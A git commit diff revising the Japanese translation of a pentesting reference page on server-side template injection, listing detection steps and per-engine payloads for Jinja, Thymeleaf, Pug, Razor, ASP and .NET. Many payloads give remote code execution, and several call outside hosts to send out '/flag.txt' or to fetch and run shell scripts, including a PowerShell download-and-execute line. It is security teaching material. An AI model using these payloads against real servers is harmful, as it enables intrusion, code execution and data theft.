Translated ['src/pentesting-web/ssti-server-side-template-injection/READ

This commit is contained in:
Translator 2025-03-21 09:29:35 +00:00
parent 869ac9537c
commit e97b885c77

View File

@ -6,7 +6,7 @@
サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。 サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できる脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。
Jinjaは、ウェブアプリケーションで使用される人気のテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう: Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう:
```python ```python
output = template.render(name=request.args.get('name')) output = template.render(name=request.args.get('name'))
``` ```
@ -16,18 +16,18 @@ output = template.render(name=request.args.get('name'))
``` ```
http://vulnerable-website.com/?name={{bad-stuff-here}} http://vulnerable-website.com/?name={{bad-stuff-here}}
``` ```
ペイロード `{{bad-stuff-here}}` `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。 ペイロード `{{bad-stuff-here}}` `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があり、最終的にはサーバーの制御を得ることができます。
サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。 サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよび検証されていることを確認する必要があります。入力検証を実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。
### 検出 ### 検出
サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます: サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます:
- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが明らかになる可能性があります - 脆弱性を明らかにし、テンプレートエンジンを示すエラーが発生する
- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。 - 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。
- **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。 - **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。
- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username``greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかす。 - **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username``greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかを確認します。
#### 識別フェーズ #### 識別フェーズ
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### [TInjA](https://github.com/Hackmanit/TInjA) ### [TInjA](https://github.com/Hackmanit/TInjA)
新しいポリグロットを利用した効率的な SSTI + CSTI スキャナーです。 効率的な SSTI + CSTI スキャナーで、新しいポリグロットを利用しています。
```bash ```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -169,17 +169,17 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
``` ```
Thymeleafでは、これらの式を特定の属性内に配置する必要があります。ただし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]``[(...)]`のような構文が使用されます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。 Thymeleafでは、これらの式を特定の属性内に配置する必要があります。しかし、_式インライン_は他のテンプレートの場所でもサポートされており、`[[...]]``[(...)]`のような構文が使用できます。したがって、シンプルなSSTIテストペイロードは`[[${7*7}]]`のようになります。
しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。 しかし、このペイロードが機能する可能性は一般的に低いです。Thymeleafのデフォルト設定では動的テンプレート生成がサポートされておらず、テンプレートは事前に定義されている必要があります。開発者は、文字列からテンプレートをオンザフライで作成するために独自の`TemplateResolver`を実装する必要があり、これは一般的ではありません。
Thymeleafはまた、ダブルアンダースコア`__...__`内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメント示されているように、式の構築に利用できます: Thymeleafはまた、ダブルアンダースコア`__...__`内の式を前処理する_式前処理_を提供しています。この機能は、Thymeleafのドキュメント示されているように、式の構築に利用できます:
```java ```java
#{selection.__${sel.code}__} #{selection.__${sel.code}__}
``` ```
**Thymeleafにおける脆弱性の例** **Thymeleafにおける脆弱性の例**
のコードスニペットは、悪用される可能性があります: 以下のコードスニペットは、悪用される可能性があります:
```xml ```xml
<a th:href="@{__${path}__}" th:title="${title}"> <a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
@ -310,7 +310,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
### Hubspot - HuBL (Java) ### Hubspot - HuBL (Java)
- `{% %}` ステートメントデリミタ - `{% %}` ステートメントデリミタ
- `{{ }}` 表現デリミタ - `{{ }}` デリミタ
- `{# #}` コメントデリミタ - `{# #}` コメントデリミタ
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
- `{{'a'.toUpperCase()}}` - "A" - `{{'a'.toUpperCase()}}` - "A"
@ -319,7 +319,7 @@ JinjavaはHubspotによって開発されたオープンソースプロジェク
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[JinjavaプロジェクトをGithubで発見](https://github.com/HubSpot/jinjava/)。 "com.hubspot.content.hubl.context.TemplateContextRequest"を検索し、[JinjavaプロジェクトをGithubで発見しました](https://github.com/HubSpot/jinjava/)。
```java ```java
{{request.isDebug()}} {{request.isDebug()}}
//output: False //output: False
@ -374,7 +374,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
Expression Language (EL) は、JavaEEにおけるプレゼンテーション層ウェブページなどとアプリケーションロジックマネージドビーンなどとの相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます Expression Language (EL) は、JavaEEにおけるプレゼンテーション層ウェブページなどとアプリケーションロジックマネージドビーンなどとの相互作用を促進する基本的な機能です。この通信を効率化するために、複数のJavaEE技術で広く使用されています。ELを利用する主要なJavaEE技術には以下が含まれます
- **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータおよびアクションにバインドするためにELを使用します。 - **JavaServer Faces (JSF)**: JSFページ内のコンポーネントを対応するバックエンドデータアクションにバインドするためにELを使用します。
- **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。 - **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素をアプリケーションデータに接続しやすくします。
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。 - **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
@ -429,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
``` ```
**詳細情報** **詳細情報**
- Smartyセクション[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)にあります。 - Smartyセクション[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
### Twig (PHP) ### Twig (PHP)
@ -481,7 +481,7 @@ array("first_name" => $user.first_name)
### Plates (PHP) ### Plates (PHP)
PlatesはPHPにネイティブなテンプレーティングエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。 PlatesはPHPにネイティブなテンプレーエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用し、PHP開発者にとって直感的です。
Controller: Controller:
```php ```php
@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template // Render a template
echo $templates->render('profile', ['name' => 'Jonathan']); echo $templates->render('profile', ['name' => 'Jonathan']);
``` ```
ページテンプレート ページテンプレート:
```php ```php
<?php $this->layout('template', ['title' => 'User Profile']) ?> <?php $this->layout('template', ['title' => 'User Profile']) ?>
@ -591,7 +591,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
<figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
- 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) - 詳細情報は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。
### Jade (NodeJS) ### Jade (NodeJS)
```javascript ```javascript
@ -671,7 +671,7 @@ URLencoded:
| | 出力を評価してレンダリングする | | | 出力を評価してレンダリングする |
| | HTMLエンコードされた出力を評価してレンダリングする | | | HTMLエンコードされた出力を評価してレンダリングする |
| | コメント | | | コメント |
| そして | コードを許可する(デフォルトで無効) | | and | コードを許可する(デフォルトで無効) |
- \= 49 - \= 49
@ -693,7 +693,7 @@ URLencoded:
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**例サーバーサイドレンダリング** **例 サーバーサイドレンダリング**
```javascript ```javascript
var pugjs = require("pug") var pugjs = require("pug")
home = pugjs.render(injected_page) home = pugjs.render(injected_page)
@ -856,7 +856,7 @@ range.constructor(
``` ```
[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません: [**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しない:
```python ```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
@ -897,14 +897,14 @@ ${x}
### Razor (.Net) ### Razor (.Net)
- `@(2+2) <= 成功` - `@(2+2) <= Success`
- `@() <= 成功` - `@() <= Success`
- `@("{{code}}") <= 成功` - `@("{{code}}") <= Success`
- `@ <= 成功` - `@ <=Success`
- `@{} <= エラー!` - `@{} <= ERROR!`
- `@{ <= エラー!` - `@{ <= ERRROR!`
- `@(1+2)` - `@(1+2)`
- `@( //C#コード )` - `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
@ -919,7 +919,7 @@ ${x}
- `<%= 7*7 %>` = 49 - `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo - `<%= "foo" %>` = foo
- `<%= foo %>` = 何も表示されません - `<%= foo %>` = Nothing
- `<%= response.write(date()) %>` = \<Date> - `<%= response.write(date()) %>` = \<Date>
```xml ```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
@ -928,6 +928,23 @@ ${x}
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### .Net 制限の回避
.NET Reflection メカニズムを使用して、ブラックリストを回避したり、アセンブリにクラスが存在しない場合を処理できます。DLLは、基本オブジェクトからアクセス可能なメソッドとプロパティを使用して、実行時にロードできます。
DLLは次のようにロードできます
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - ファイルシステムから。
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - リクエストから直接。
完全なコマンド実行:
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**詳細情報**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl) ### Mojolicious (Perl)
Perlであっても、RubyのERBのようなタグを使用します。 Perlであっても、RubyのERBのようなタグを使用します。
@ -942,15 +959,15 @@ Perlであっても、RubyのERBのようなタグを使用します。
Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます
- `{{ . }}`: データ構造の入力を表示します。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。 - `{{ . }}`: データ構造の入力を明らかにします。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。
- `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。 - `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template) - `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure> <figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation** **XSS Exploitation**
`text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}``&lt;script&gt;alert(1)&lt;/script&gt;`になります)。それにもかかわらず、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} `text/template`パッケージを使用すると、ペイロードを直接挿入することでXSSが簡単に実行できます。対照的に、`html/template`パッケージはこの防止のためにレスポンスをエンコードします(例:`{{"<script>alert(1)</script>"}}``&lt;script&gt;alert(1)&lt;/script&gt;`になります)。それでも、Goにおけるテンプレートの定義と呼び出しはこのエンコーディングを回避できます\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code vbnet Copy code
@ -972,7 +989,7 @@ return string(out)
### さらなるエクスプロイト ### さらなるエクスプロイト
さらなるエクスプロイトについては、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報見つけることができます。 さらなるエクスプロイトについては、[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)を確認してください。また、[https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)で興味深いタグ情報見つけることができます。
## BlackHat PDF ## BlackHat PDF
@ -982,7 +999,7 @@ EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
## 関連ヘルプ ## 関連ヘルプ
役立つと思場合は、以下をお読みください: 役立つと思われる場合は、以下をお読みください:
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md) - [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) - [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)